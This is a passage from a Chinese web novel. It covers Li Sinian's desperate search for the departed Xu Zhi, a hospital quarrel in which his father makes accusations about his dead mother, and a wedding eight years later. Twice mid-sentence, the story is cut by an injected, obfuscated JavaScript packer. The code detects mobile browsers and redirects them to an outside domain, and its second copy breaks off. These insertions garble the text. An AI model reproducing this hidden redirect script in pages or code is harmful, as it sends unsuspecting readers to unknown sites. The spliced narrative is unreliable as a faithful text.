李斯年不自主的打了个哆嗦,才忽然发现自己只穿着单薄的病号服就跑出来了,而一片漆黑的夜里是肉眼难辨的毛毛细雨,不大却密,像是活的针刺一般,顺着领口袖口往里钻。 李斯年咬牙强忍着,抬头去看路牌,这里距离三岔巷子不算远,就两个街道。 他先是快步走,越走越急,然后几乎是跑了起来,湿凉的空气顺着他鼻腔、喉咙猛灌,像是令人窒息的海水,几乎令他无法呼吸。 到最后,其实李斯年的神志都有些涣散了,觉得又冷又热,那一排排昏黄的灯光也越发重了影。 但他却没有放慢速度。 此刻这种疼痛对于李斯年来说好像是一种存活的提示、一种预先的代价,仿佛他只要这样特别的难受过了,等下到出租屋,就会看到许之的身影。 在最不知所措的时候,连侥幸都会来欺负人。 它来得毫无理由,给人微弱的希望,然后又泼下贯穿心扉的凉水。 66.崩塌 冬夜的三岔巷子冷冷清清,风穿梭其中,扬起低低的呜咽。 李斯年在这细雨里淋了个透,一头黑发前短后长,湿漉漉地贴在脸上。 烧伤上覆盖的纱布也因为浸了水而变沉,堪堪被医用胶带扯着边角,随风而动,偶尔露出内里紧皱而赤红的伤口。 这模样看起来很吓人,路上偶有行人见到,都是目光一触即离,随即赶紧埋头离开。 李斯年顾不上这些,他一心奔着出租屋去。 走过拐角,就见到屋里灯竟然亮着,门打了半开。 门口放着一个大收纳箱,里面不知堆着些什么东西。 李斯年心怦怦狂跳。 李倾诺和李宇果然是在说谎,许之怎么会走呢! “许之!”李斯年几乎是跌进门内,欣喜的往里望。 却见屋内已经被收拾的干干净净,只剩光秃秃的床板与桌椅。 一个短发女人正拿这笤帚归置地面。 那人也被吓了一跳,手里笤帚立刻竖了起来:“你谁啊!” 李斯年抬起双手示意自己没有恶意:“我、我是之前这里的租户,你是谁?屋里另一个住的人呢?” 短发女人目光狐疑,把李斯年从头到脚扫了一遍,“我是房东啊,至于其他的,我也不清楚,反正这屋子已经退租了!” 李斯年愣了愣:“谁退的?” “就是当初找我租房的那个高瘦年轻人啊,打电话来退的。” 短发女人说完,又忍不住发起牢骚,“真么见过你们这么不讲究的租客,这才刚过了年,还没到期,说退就退,我又要费劲找新租户,就算不要押金又怎么样,我不要再多费时间费精力的啊?屋子里的东西也是,都不清走,还要我一个个往外搬……” 李斯年没心思听她这一长串话,脑子像是被一路的风雨给冻住似的,运转的非常缓慢。 高瘦年轻人,应该就是许之,这间出租屋最初也的确是他联系租下的。 所以……真的是他自己主动退租的? “我、我能借你手机打个电话吗?我没带。”李斯年突然问。 短发女人有些迟疑地后退半步。 “或者你打也行,我不碰手机,就打那个租房人的电话号码。”李斯年哑着声,“求你了。” 短发女人叹了口气,终于还是掏出手机:“打完你就走啊。”翻找出通讯录,拿起给李斯年看,“是这号码吧?” 李斯年早就会背许之的电话了,他点头。 电话播出,免提很快响起一句机械而毫无感情的:您拨打的电话已停机…… 不是关机、不是正在通话中。 而是停机。 李斯年像是被无形的雷劈中,直愣愣杵在原地,终于开始正视李宇早先说的那句:他已经出国了。 他不由攥住了拳,几乎能听到自己牙关打颤的声音。 许之真的…… 真的、真的,就这么走了? 把这一切都舍弃了? 可是……他不是喜欢自己的吗? 李斯年头一回发现,原来不需要受到任何物理意义上的实质伤害,心就能这么痛。 痛到好像下一秒就会死掉。 他目光如游魂一般漫无目的地在屋内飘荡,猛然间似乎想起了什么,大步冲到床边。 先是跪下身去看床底,又在床头一通翻箱倒柜。 “你、你干什么啊!”短发女人惊叫一声,上前拦人,“我这地才刚拖干净的!” “有只白猫呢?木铃呢?”李斯年还想再找,却被短发女人扫帚一横,拦在卫生间门前。 李斯年看向他,那模样六神无主,像是一个半搁在桌沿、摇摇晃晃随时要摔碎的玻璃杯,“还有我藏在柜子里的沐浴露……” 短发女人觉得面前这个男生十有八九真有神经病,语气也就不敢像一开始那么冲了,指了指门口:“我、我可没拿你们的东西啊,全都在门口箱子里,你自己去找。” 李斯年听言,转身就出了门,蹲下身翻找。 就在这瞬间,短发女人猛冲几步,将门“砰”得一声合上了。 光线顿时暗了下来,李斯年几乎要看不清箱子里的东西,他抬手敲门:“别、别关门啊!我还要找东西……” “那些你都拿走,别再来了,不然我就报警!”短发女人尖利的声音隔着门传过来。 李斯年喉头一哽,只得埋头借着窗口微弱的光线翻找。 眼睛渐渐适应了昏暗,他看到了很多熟悉的东西,碗筷、电热锅、被褥、牙刷、圆珠笔…… 仿佛闭上眼,就能看到它们曾经摆在出租屋内的模样。 如今却像是垃圾,被扔在脏旧的箱中、路边。 或许他自己也是一样。 被许之扔在这里。 李斯年如愿找到了郑秀送他的那个小木铃,虽然边沿已经被菜刀磕碰出一个缺口。 还有小白的猫窝、没吃完的冷冻猫饭。 和那瓶没拆过封的临期柑橘味沐浴露。 时至深夜,两边的路灯齐齐关闭,窄巷霎时间陷入黑暗。 雨亦越下越大,在凹凸不平的地面砸下无数水洼。 世界倒映在这些水洼里,颤抖、破碎,再也拼凑不出完整的画面。 李斯年抱着一大堆东西,从三岔巷子的这一头找到那一头。 “喵?” “喵呜——” 他一路学着猫叫,嘶哑的声音在深夜中显得有些诡异。 这是李斯年从前逗小黑和小白的绝招,他嗓子没受伤之前,学猫叫有种黏腻的撒娇感,和真猫叫能有九成相似。 每每只要这么一叫,猫最后总会来到他身边。 但今天,直到最后,李斯年还是没能找到小白。 他双手无力地垂着,自嘲地笑了。 一向挺阔的双肩因为悲痛而乏力地内扣蜷缩着,叹出的白气混杂在雨中。 是啊,怎么可能找到呢? 他根本不知道小白是哪天走丢的,江城的冬天这样冷,它能不能撑过这些雪天雨夜都是未知数。 看来许之走得的确是果断又干脆啊,甚至没有安顿好小白。 就算他对自己的喜欢微薄到可以轻易割舍,但李斯年以为,至少许之对猫的喜爱是发自心底的。 小黑死的那一天夜里,许之整夜失眠,睁着眼到天亮。 “每个生物都会有死的那一天。”许之轻声说,“遇见和拥有其实没有意义吧。” 这是二人前几天看一篇英语阅读时聊到过的话题——如果拥有就是失去的开始,既然结局注定,那么是不是只要不拥有、就不会失去,也就无谓伤痛。 “那我努努力,一定比你活得久一点。”李斯年说。 许之静静看着他。 “毕竟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15586711|168693||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 悲伤都是留给生者的,死了就什么都不知道了。”李斯年轻柔的笑,“你先走,我还能帮你张罗一下后事,我做事你放心,想火葬还是土葬?” 话题就这样被悄无声息地带偏了,许之认真想了几秒,“我想撒进海里。” “因为海水是自由的,可以去很多地方。” “没问题,包在我身上。”李斯年满口答应。 氛围渐缓,许之又问他:“那你呢?万一是你先死,这也说不准。” 分明说谁先死、谁晚死这样的话题,许多人该是感到忌讳的。 但此刻在两个经历过死亡的少年人这里,倒有种只要说开了、面对了,就不再感到恐惧的心情。 李斯年有些不好意思的笑了笑:“我想被摆在家里诶。” 许之有些意外:“为什么?” “我爱热闹,海里或者墓地都很孤独不是吗?” 这倒也的确像是李斯年会说出的话,许之想了想:“不过这件事怕是轮不到我帮忙,以后要摆也是摆在你妻儿家里,再或者李倾诺那儿也可以。” 李斯年摇头:“妻子还会再找对象的,我可不想到时候看着别人卿卿我我,他们尴尬我还不自在。李倾诺也算了,就她那个懒惰劲,放她家里,我罐子上的灰不知道会积多厚。” 许之一想到那个积灰的画面,差点笑出来,又觉得有些不合时宜,忍住了:“那……如果到时候她们都不摆,那摆我这也可以,我兜底行吧?” “真的?” “真的。” 那一晚言犹在耳,但现在却觉得分外讽刺可笑。 这人有过哪怕一分一秒的真心实意吗? 李斯年的手脚早已冻到完全麻木,迈腿的动作几乎全凭本能,终于在踩上一块凸石后,整个人就软着腿滑摔在地。 手掌在粗糙的地面用力滑擦出一段距离,却不觉得痛。 他忽然感到身心俱疲,就这样垂下头,趴倒在地上。 原先被侥幸吊着的那一口气消散在暴雨的深夜,雨珠噼里啪啦敲打在屋檐,嘈杂到极点的雨声反而让人感觉到一种前所未有的安宁。 水汇聚成股,朝着地势低处流淌,将途经的残雪污冰全都冲得干净。 仿佛那个初雪清晨的欢声笑语只是一场梦。 梦里,他怀揣着“得知暗恋之人大概也喜欢自己”的欣喜,费尽心思要为他准备一场别出心裁的告白。 却被一场大火烧了个干净。 李斯年当然不觉得许之是为了钱接近自己、又是因为李宇给得够多而离开。 他大概只是决定利用这样的机会和借口而已。 李斯年早就知道他的愿望是远走高飞,和充斥着污秽的前小半生说再见。 只是怎么都没有想到,原来事到临头,连自己也被归在了这污秽之中。 这是他掏心掏肺喜欢着的人啊。 他可以一直给予、可以不求回报,但为什么要这样践踏他?! 李斯年在如坠深渊的悲痛之中,生出一丝愤恨与迷疑。 那天在许之手机里看到那张自己背影的照片,会不会只是幻觉? 紧接着,他忍不住开始回想许之说过的每一句话、二人相处的每一个细节,然后一个接一个的质疑,到底哪些是真的、哪些是假的。 亦或者全都是假的? 李斯年恍惚发现,自己好像从来没有看清过他。 67.当年 李斯年再次睁开眼,灿烂的阳光撒在洁白天花板上,直刺得人眼睛疼。 他转过头,自知已经再次回到了医院。 李斯年并不感到意外,这里是江城,李宇昨晚不强拦着自己,自然是因为他早就安排了人跟在他身后。 看着他歇斯底里、失魂落魄,一颗心在三岔巷子里碎了干净。 然后再把他带回来。 李宇仍然是坐在靠墙的沙发上,今天孙家娟也来了,二人正说着话。 李斯年的苏醒让仪器检测到数据波动,发出声响,打断了对话。 孙家娟赶紧推着轮椅来到床边。 她眼下乌青,似乎好几天没睡好,连皱纹都深了几分,手轻轻抚在李斯年脸侧重新包扎好的纱布上,还没说出话,眼泪就先落下了。 “傻孩子。”半晌,她说。 李斯年也忍不住有点鼻酸,其实在郑秀去世后的这么多年来,在他心里,孙家娟就像是自己的半个妈妈。 如果郑秀还活着,此时此刻一定也会像她这样,心疼比指责的话语更先出口。 “对不起。”李斯年说,“叫你担心了。” 孙家娟听到李斯年嘶哑受损的音色,嘴唇抖动,撇过脸去,擦了好一会泪,又转过来拍拍他:“没事,都过去了。” 李宇也走了过来:“想通就好好养着,今年高考能参加就参加,如果觉得吃力,按你之前的竞赛成绩,我也能帮你安排进想去的大学。只要你听话,要什么我给不了你?日子好过得很,别再自找苦吃了。” 孙家娟帮忙摇动床杆,将床的上半部分抬起,让李斯年好坐起身来讲话。 李斯年脸上已经瞧不出昨晚那些激烈的情绪了,像是顿悟了什么,只是淡淡说:“我想去国外。” 李宇:“哪个国家?确定不参加高考了?” “许之去了哪个国家?” 李宇听了这话,原本平息的怒火又瞬间被勾起来了,他有时候真觉得自己这个儿子是不是老天专门派下来让他渡劫的,什么好事都不干,天天就知道气他。 “李斯年,你是不是有点犯贱?”李宇嘲讽道,“他都不要你了,你还巴巴的跑去找?” “李宇,别这么说话,孩子高烧了一整夜才醒。”孙家娟眉头一皱,伸手拦了拦,怕这父子俩又要动起手来,“斯年啊,你找到他又有什么意义呢?他如果真的在乎你,就不会走了。” 李斯年表情没有什么波动,仿佛这些他早就想透了。 “我知道,但我就是要当面问他,你们觉得有没有意义无所谓,我就是要问。” 他想好了,无论如何,一定要听到许之的亲口回答。 不管别人觉得他被爱情冲昏头脑也好、固执到不可理喻也罢。 这对他来说就是很重要。 如果爱意的冲动是被许之点起来的,那么也只有他能浇灭。 李斯年无法就这样接受连告别都没有的、戛然而止笔画不全的句号。 他不顾李宇双目快要冒出火来,继续说:“你现在不让我去也没关系,我等,我不会一辈子都受制于你,我总有毕业成人的那天,那时候,我也可以自己去找。” 李宇眉毛一竖:“你现在是不是觉得自己的爱情特伟大?在这感动谁呢!非要别人当面把你当狗一样踹开,心里才舒服了?” 李斯年不受他的激,语气仍然平平:“你不会懂的。” 李宇话语一窒。 “毕竟你从来没真正爱过谁,你不爱我、不爱我妈、也不爱李倾诺,我想你可能也不怎么爱许茜。因为你只爱你的人生、你的事业、你的未来。” 这话彻底激怒了李宇,他大步走上前,皮鞋在地板上砸得哐哐作响。 双手撑着床边围栏,死死盯着李斯年:“你以为自己知道些什么?就敢这样说自己老子!我忍你很多年了知不知道!我总想着你长大了就会好、就会懂事,没想到都成年了,还分不清是非!只知道三天两头拿着你妈的事跟我闹脾气!” “你说谁分不清是非?”李斯年不避不让,目光带着寒刺,直戳戳向李宇而去。 “妈妈之所以会遭遇车祸,就是因为你在工作和家人之间选择了前者,但这么多年,你有过亏心的时候吗?没有,你只觉得天灾人祸、与你无关!” 李宇哼笑一声,脸上横肉抖动:“这么些年了,你每次都拿这件事来戳我脊梁骨,怕是心里恨死我了是吧?行!不如就趁着这个机会彻底说清楚,当年到底怎么回事!” “李宇!”孙家娟大惊,失声道,“你冷静一点!” “现在又叫我冷静?”李宇直起身来啐了一口,他面目狰狞,额前青筋直爆,平日里的稳重与威严全然消失了,“呵,黑锅我背,好人全他妈的让你们做,是吧?” 李斯年心中莫名咯噔一声,“你这话什么意思?” “你爸爸是气头上,说话口无遮拦的,不要放在心上。”孙家娟将轮椅往李宇身前一卡,抢着开口,抬起手就把李宇往外推,“你昨晚发了一夜的烧,肯定饿了吧,我叫人给你弄点吃的……” “你别走!”李斯年翻身下床,手一甩,就扯开了输液管,一串血珠飞出,“李宇,给我说清楚了!” 李宇本就还在气头上,他抬手就推开了孙家娟的轮椅:“好啊,这可是你逼我说的!” 孙家娟惊愕慌张之间,没能止住滚动的轮子,轮椅“砰”的一声就狠狠撞上了墙。 她顾不上后背剧痛,还想阻止:“李宇,你不能——” “郑秀当年晚上急着回去,根本不是因为第二天你外公的忌日!”李宇声音提得更高,轻易就盖过了孙家娟:“她是为了赶着零点之前回去给那个老相好的过生日!” 李斯年浑身陡然一僵,脚死死定在原地,他嘴唇微张,好一会才反应过来李宇这话说了什么,整张脸都气得通红:“你少他妈的胡说八道!不准你侮辱我妈妈!” 李宇嗤笑一声:“有些细节你根本不知道吧?那天晚上我虽然临时有事,但我和郑秀说了,等开完会,哪怕是到了凌晨,我也一定会开车带她回孝县,保证她能在天亮之前到你外公的墓园,但她为什么死活非要当晚自己坐大巴?她就是心心念念要陪人家过那个狗屁生日!” “还有,你知道你妈喜欢木芙蓉是吧?每年你妈忌日,你都托孙姨帮你去孝县带,那你知不知道她为什么最爱木芙蓉?因为这是她和老相好定情的花!他们那张花田里的合照至今还压在卧室抽屉的夹层,不信你去看啊!这些事孙家娟、你外婆都知情,尽管去问!” 李宇越说越癫狂,他手舞足蹈、眼睛瞪得浑圆,整个人陷入极大的兴奋之中,只因被指指点点多年的事情终于真相大白了。 “我自认为够仁至义尽了吧?做丈夫、或父亲,你们想买什么我没买?天天好吃好喝供着,钱也管够!是你妈非要犯贱,去追求什么温情、爱情,我呸!你现在也和她一样了,你们母子俩都是不懂感恩的贱货!” “你和孩子说这些做什么?!”孙家娟再也听不下去了,她猛地滚动车轮,冲向李宇,伸手就推了过去,自己也因此从轮椅上跌出,“砰”的一声重重摔在地上。 而李宇只是踉跄几步,也没有扶孙家娟的意思,带着快意的大笑:“哈哈!这小子不是整天觉得他妈天下第一好人、恶贯满盈的人是我么?就该让他早点知道真相!” “你不满郑秀出轨,那你这么些年混迹商圈难道就没有做过出格的事情?”孙家娟没有意识到,她这些话正是做实了郑秀那晚非要赶去孝县的真正原因,“再说了,感情破裂这种事一个巴掌拍不响……” “别说了!”沉默许久的李斯年突然发出一声尖利的惨叫。 他声音发抖,双手捂耳,极其惊恐地看着李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“也不知道我们斯年以后会带回来一个怎样的儿媳妇……哎呀,说到底,只要你喜欢就好,妈妈没有别的意见,希望你能找到属于你的一生一世一双人。” “我吗?当然已经找到了,傻孩子,就是你爸爸呀。” “你们俩学习紧张,今年外公的香妈妈就替你们上啦,没关系,周末再让江叔送你们来外婆家,木芙蓉开得很好,我带你们去看!” …… 李斯年感觉自己快要被这矛盾感给撕裂了。 到底什么是真的、什么是假的? 他眼里的郑秀、李宇眼里的郑秀,为什么会有那么大的差别? 不!不对! 这只是李宇的一面之词,就因为李宇这么说了,他就要全盘否定并怀疑母亲吗? 他应该去问外婆、去找那张照片、去确认那个所谓的“老相好”是否存在,找到所有认证物证,来反驳李宇…… 可如果李宇说得就是真的呢? 李斯年脑子乱成了一团浆糊,他费尽全力想要保持清醒和逻辑,却不断地被各种突然冒出来的思绪和念头打断。 直到最后,他忽然对自己感到一种可耻。 他竟然还想要求证,求证难道不就是质疑吗? 他怎么可以质疑自己的母亲?! 李斯年蜷缩在墙角,背顶着冰凉的墙壁,胸膛剧烈的起伏着,却仿佛有无形的手扼住咽喉,无论怎样呼吸都无法继续得到氧气。 他眼前骤然发黑,明明身体内烧着热火,人却凭空一阵一阵地冒冷汗,牙关不住打着冷颤,整个人如坠冰窟。 短短十多天,一切都变了,他先是失去了许之、然后再一次失去了郑秀。 世界在这瞬间轰然崩塌,破碎的瓦片和扬灰铺天盖地,要把他活埋。 李斯年觉得自己好像即将在这样的窒息和颤栗中死去,但熬着、等着,却只是在这痛苦里兜兜转转不得而出。 宛如无间道。 似乎是李宇、又好像是孙家娟,总之有人在叫他的名字。 但他已经渐渐听不到了。 好累…… 李斯年眼前彻底陷入黑暗。 68.婚礼 初夏入夜后,风是微凉的。 霓虹随着夜色而起,江城市中心的标志性建筑仍然伫立,道路交错如旧,不过其中有几条扩宽了车道。 路边一家KTV已经开了十余年,原本叫做“名流”,八年前因经营不善,被另一个老板收购,改名为“魅夜”。 这名字受到周边街坊百姓一致差评,觉得过于粗俗,不如不改。 不过新老板在经营方面当真是有点本事,打折促销优惠一顿活动放出去,还招了些午夜场的点歌公主,就这么又火了起来。 高瘦的年轻男人戴着鸭舌帽,一身休闲穿着有几分学生气,进魅夜大门时,招揽客人的公主伸出的手都有些迟疑,分不清到底该往里迎、还是往外拦。 “您是要来唱歌啊,还是……”一位卷发公主问。 “找人。”年轻人声音干净清冷,与内里嘈杂的音乐与鼓点格格不入,“今晚在这开单身派对的。” 卷发公主反应过来:“啊,好的,这边请。” 卷发公主引着年轻人一路向内,走廊上灯光昏暗,少年人鸭舌帽下只露出半张脸,却仍然惹得沿路错身的服务员与公主们忍不住侧目。 KTV内部的结构没有大动,连吊顶和壁纸都是从前的模样,卷发公主将人带到最里侧豪包的门前:“就是这里了。” “谢谢。”年轻人说完,只是站在门口,透过玻璃窗往里看,没有要推门的意思。 卷发公主看了他两眼,实在没勇气和这样浑身透着疏离冷淡的男人再搭话,秉承着多一事不如少一事的原则,转身就走了。 刚走两步,就被其他公主给围了起来。 “诶,那位客人是个男的啊?” “不然呢。” “虽然我没看到他的眼睛,但那个鼻子那个嘴……啧啧,也太好看了,不会是哪个明星吧?” “去去去,就算是明星也和你没关系,快别在这闲聊了,等下被老板看到,又要扣钱!” 公主们说这话时,其实是想让当事人听到的,期盼着或许能借此搭上两句话,是故声音也没压低。 但年轻人却置若罔闻,连一个侧头都吝啬给予,仿佛这样的话已经听过太多次,有了免疫。 他从兜里拿出手机,播出一个电话。 好一会才接通。 “喂?”年轻人说,“嗯,我在包间门口……算了,我就不进去了……好。” 不过多时,门从里面被推开。 一个卷发男人走了出来,他大概是脱了外套,只穿着内里的一件短袖,脸上带着微醺的红色。 他抬头看了一眼门前人,眼底狂欢的笑意就瞬间散了个干净,转而浮上一股说不清道不明的情绪,像是感叹、又像是怀念。 “许之。”他几近叹息,“你小子这么多年,怎么完全没变啊!还跟以前在育德时一模一样……” 许之淡淡一笑:“哪能呢。” 说着,从口袋里掏出一个封好的信封,递过去:“新婚快乐啊,方行舟。” 不知是不是走廊里比包间要凉,听到对方久违地叫自己的名字,方行舟沉默片刻,又吸了吸鼻子,接了信封,捏着掂量了下:“哎呀,还不少呢!” 还说他,这人不也和从前一样么?许之唇角笑意更浓:“应该的。” 毕竟是他学生时代,为数不多能称得上是真心实意的朋友了。 “这么多年了,大家都联系不上你,我就是侥幸给你发了个微信,没想到你真的会来。”方行舟说。 许之没解释前半句,仍然是笑:“正好回国了。” “其实呀,你明天直接来婚宴就行,没必要今晚还专门跑一趟的。”方行舟侧过身,“进来喝点?” “不了。”许之摆手,“我今晚就要离开江城,婚宴也恕我不能到场庆贺了。” 方行舟愣了愣,反应过来他不愿意去婚宴的缘由,他这人直言直语惯了,又是多年前的旧友,于是就这么问了:“八年了,你们俩到底是怎么了,就不能和好吗?” “又没闹翻,谈不上那些。”许之的双眼藏在鸭舌帽的阴影之下,语气倒是听不出有什么,“那就不耽误你单身派对了,我先走了。” 转身几步,又想起什么:“我回国的事情,就不用和别人提了。” 说是别人,但指的恐怕只是那一个人。 方行舟尚是微醺,还能听得懂许之什么意思。 他叹了口气,摆摆手:“放心!你路上慢点啊。” “嗯。” 方行舟看着他背影消失在走廊尽头,一时间没心情再回包厢,而是绕去安全出口楼梯处,点了根烟。 其实当年那件事,各中内情他并不是非常了解。 只知道许之转校离开了,而李斯年住院一住就是大半年,连当年高考都错过了,然后次年就被家里安排出国读书。 等到人再回国,见面时,除了声音因火灾而变得低沉沙哑了些、昔日的一身张扬纵意收敛殆尽之外,倒也看不出有太大变化。 若硬说有,就是没人能再在他面前提许之的事了。 方行舟最初不知,还问起过,李斯年的脸霎时间就阴了下来,沉默许久后,只是生硬地说了句“关我屁事。” 所以,其实哪怕今天许之不嘱咐,方行舟也没打算主动和李斯年提他来过的事。 烟头的猩红燃尽,方行舟缓缓吐出一口烟,只觉得从前的那些真心的、傻逼的、畅快的、无畏无惧的青春年少,恐怕是真的不再复返了。 这样的心情倒是和今晚属于他的单身派对挺契合。 将烟头丢下,用脚一碾,方行舟拉开门,返回了包厢。 - 次日傍晚,方行舟的婚礼在江城最大最豪华的酒店举行。 巨大的婚纱照立在灯光明亮的大厅门外。 方行舟那早已离婚、多年不见的父母今天穿了套明显刺绣款式相似的衣服,站在门前,脸上带着喜气洋洋的笑容,宛如他们从来都是这样美满幸福。 方行舟换好衣服从里间出来,看到这番景象,脚步微微一顿,随即就像是无事发生一般往大门而去。 他今日穿着笔挺的西服,乍一看很有大人模样,笑容得体,与新娘站在门口迎宾。 人陆陆续续地来了,方行舟人缘向来不错,请了许多同事与大学同学来,相比而言,高中同学就显得生疏之中又夹带着更加与众不同的熟悉。 黄锦婷、肖宁枝和孟畅畅大概是先约好了见面,然后再一起来的。 “恭喜啊。”黄锦婷扎着干练的高马尾,穿着一套正装,颇有些女强人的模样。 “诶唷,班长来了。”方行舟笑着将人往里迎,“好久不见。” “你眼里只有班长么?未免太势力哦。”孟畅畅开着玩笑。 她如今已经抛弃了少女时期热爱、但其实并不太合适的蓬蓬裙,一身休闲运动装,衬得人高挑又健康。 肖宁枝则还是老样子,连衣裙配披肩长发,温柔之间更多了些女人味。 “不敢不敢。”方行舟哈哈大笑,许久不见的拘谨在这笑声里消散,“体育课代表、级花,我都记得呢,不敢忘。” 他将人引去舞台靠右的那张桌,已经有其他几个同班同学在那了,大家见了班长,也都站起来迎。 黄锦婷从前在班里,上应付老师、下关照同学,也不因着“官职”而拿腔拿调,是故威望很高,毕业后的几次同学聚会,也都是她组织的。 班长一来,这一桌的欢声笑语便多了起来。 宴席时间将至,大门前已经空了好几分钟无人再来。 “行舟,咱们差不多要进去准备了。”新娘说。 方行舟抬手看了眼表,目光还在往远处看,忽然瞧见一个熟悉的身影,赶紧挥着手,下了两步台阶。 “就等你呢!”方行舟笑道。 来者穿着件灰色西装外套,白色衬衣里还打着暗纹领带,宽肩高个,长腿阔步,很快便走至眼前。 他车钥匙尚未来得及收进口袋,就这么晃悠悠地挂在指尖摇着,稳步一站,颇有些洒脱不羁的感觉。 “临时有个视频会议,不好意思啊。” 方行舟已经听惯了他低沉而略带沙哑的音色,国外的康复机构做得不错,换做不知道的人,也并不会察觉到这是声带受过伤,还以为天生便如此。 “没事,正正好。”方行舟勾着他的肩膀,边往里边打趣,“你这小子今天怎么穿得这么招眼,等下进去了,别人是看你还是看我。” 李斯年脚步一顿,笑着就要脱外套。 方行舟连忙按住他的手:“得了得了,只穿衬衣更显身材了。” “我就叫你平时有时间多运动运动,年纪轻轻就有啤酒肚了怪谁?”李斯年打趣道。 方行舟将人送到门口:“右边那张桌,班长他们在的那个,看到没?” 李斯年顺着他指向望去,目光挨个在每个人脸上扫过,然后转过 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虽然明显是经历过极好的修复,但那片皮肤与周遭相比,还是更白、更薄,甚至隐隐能瞧见下面的毛细血管,一直从下颚线延伸到衣领之下。 这恐怕也是在那次火灾里留下的。 黄锦婷愣了一瞬,便立刻挪开了视线,清了清嗓子撇开话题:“那你这次回国后,还走吗?” “不了,以后应该会留在国内。”李斯年答。 “也挺好,国外饮食和生活习惯之类的终究还是比较难适应。”黄锦婷大学时期也因为交换生而去美国上了一年多的学,“以后同学聚会,我再叫你啊。” “好。” 话到这里,礼貌客套且无法再继续下去。 黄锦婷与肖宁枝、孟畅畅对视,都在彼此眼中看到了无声的叹息。 毕竟已经八年过去,太多太多事情都变了。 物是人非的感觉总让人无可奈何。 好在尴尬的氛围没有持续很久,音乐响起,婚礼正式开始了。 与所有的婚礼流程都差不多,新郎站在台上、新娘从门口缓缓而入,二人执手,在司仪的带领下说出一生一世一双人的誓言。 雷鸣般的掌声中,新郎新娘交换戒指、互相拥吻。 每一份爱情和婚姻的开始,或许都是这样真挚。 不会有人是怀揣着或许会破碎的心情,走上这充满祝福与花瓣的舞台的。 仪式期间,菜就陆续开始上了,而李斯年静静看着台上二人礼毕下台,才低下头,拿起筷子。 江城的酒文化算是比较浓重的,两对新人下台敬酒,杯杯都得见底。 新娘那边是备了雪碧充数的,但新郎却不能打马虎眼,一圈下来,方行舟明显已经快醉了。 而两边长辈与亲戚中又有几人趁着热闹,抓着酒瓶非要再与新娘多喝几杯,方行舟拦在前面,将人先推去了后台,自己去陪酒。 就这么又闹了快半小时,宴席几近散场,方行舟也醉得不省人事。 李斯年留到了最后,方父去送一些醉酒的亲戚去酒店事先开好的房间了,只剩方母和一身旗袍的新娘看着方行舟。 俩人合力也抬不起烂醉的方行舟,正踌躇着。 于是他起身走了过去。 “阿姨,你们先去招呼别的人,我把他扛去房间吧。” 方母认得李斯年,于是将房卡给了他:“谢谢了啊,斯年。” “不会。” 李斯年将人手臂一抬,往肩上扛着,就往厅外的电梯走去。 方行舟醉得沉,只知道左腿打着右腿往前走,李斯年好不容易将人弄到19楼房间里,出了一身汗。 他脱了外套,去冰箱里拧了瓶矿泉水喝,半瓶下肚,就看到原本躺靠在沙发上的方行舟坐了起来,眼神迷瞪瞪地,看着他手里的水。 “口渴?”李斯年开了瓶新的,递过去,“你也太实诚了,这种敬酒,倒也准备点白开水往里兑啊。” 方行舟咕咚咕咚喝了几口,冰凉的水似乎让他清醒了几分,他环顾四周:“这、这哪儿啊?” “还能是哪,你的新房啊。”李斯年笑。 近几年,很多新婚夫妇都会这样把酒店当做新房,省得接亲时将家里闹得乱七八糟难收拾。 方行舟直直盯着铺着大红四件套的床,又抬头去瞧墙上的大红喜字。 半晌,问出一句:“菁菁呢?” 69.变化 李斯年闻言一愣。 “菁菁说了,红色好土气,以后婚房里都要用粉色。”方行舟扯着红色的床品,一脸不满意,“得赶紧换掉,不然等下她要生气……” 李斯年按住方行舟企图拆被套拉链的手,用手背拍了拍他的脸:“清醒点,你和王雪菁四年前就已经分手了。” 方行舟怔住,缓缓看向李斯年,嘴唇蠕动了片刻,竟然就这么红了眼睛:“分……分手?” 李斯年简直哭笑不得,只好去卫生间拧了条冷水毛巾,搭在了方行舟脸上:“等下你的新婚妻子就要来了,快点醒醒酒,别乱说话了!” 方行舟被毛巾冰了个激灵,他狠狠擦了一把脸,但拿下毛巾时,眼泪也跟着不住往下掉:“我、我……” 支支吾吾了半天,最后一嗓子嚎出了声:“我好想她……李斯年,我有四年没见到她了!” 方行舟和王雪菁的事,李斯年是清楚的,那年他在国外接连跳级读研二,出国几年后第一次回了国,然后见了方行舟一面。 那时,方行舟和王雪菁刚分手。 二人高考后,考上同一所大学,然后就顺理成章地在一起了,大学四年不可谓不甜蜜。 但就像无数校园情侣一样,毕业是一道坎,方行舟是单亲家庭,母亲从小到大一个人养他很辛苦,于是决定本科毕业后就参加工作、补贴家用。 而王雪菁选择考研深造。 二人本来说得好好的,你上班、我上学,还是能在一起,但王雪菁却在研究生开学不过一个月时,就和方行舟提了分手。 理由常见又简洁:我们不合适。 方行舟个性要强,觉得王雪菁这是看不起自己只是本科生了,想要找个更厉害的男生,否则恋爱谈了四年没说不合适,突然此刻就不合适了? 他当着王雪菁的面,答应得果断又潇洒,还说了句“祝你以后找到合适的人。” 转头却对着刚回国的李斯年声嘶力竭哭到大半夜。 感情这件事太复杂,李斯年不明细节,也只能笼统地安慰。 他那次总共在国内就呆了不到一周,等第二年回来时,就看到方行舟的手机壁纸换成了和另一个陌生女生的合照,说是妈妈介绍相亲认识的,各方面都还挺聊得来。 再过两年,就听说了他要跟那个女生结婚的消息,电子请帖上是一对笑容灿烂的璧人,下方几个烫金大字:诚邀您的莅临和祝福。 是故李斯年以为,方行舟早就已经走出来了。 哪知道他其实还心心念念惦记着。 “你们已经结束这么久了,若真不甘心,你倒是早点去找人啊。”李斯年说完这话,自己也莫名有些烦躁,拧开瓶盖,将剩下半瓶水一饮而尽。 